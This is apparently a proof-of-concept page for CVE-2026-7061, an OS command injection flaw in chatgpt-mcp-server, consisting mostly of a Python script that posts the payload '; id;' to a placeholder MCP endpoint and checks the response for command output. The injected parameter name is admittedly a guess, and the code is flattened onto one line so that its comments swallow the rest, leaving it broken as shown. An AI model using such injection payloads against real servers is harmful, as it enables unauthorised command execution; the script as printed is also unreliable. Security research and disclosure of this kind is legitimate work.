CVE-2026-7061 chatgpt-mcp-server操作系统命令注入漏洞

import requests # Target URL (example) target_url = "http://target-ip:port/api/mcp/endpoint" # Malicious payload to execute 'id' command via OS command injection # Assuming the vulnerable parameter is 'container_name' or similar based on docker.service.ts payload = { "param": "; id;" } try: response = requests.post(target_url, json=payload, timeout=5) print(f"Status Code: {response.status_code}") print(f"Response Body: {response.text}") # Check if command execution output is present in response if "uid=" in response.text: print("[+] Vulnerability confirmed! Command executed successfully.") else: print("[-] Exploit failed or output not visible.") except Exception as e: print(f"Error: {e}")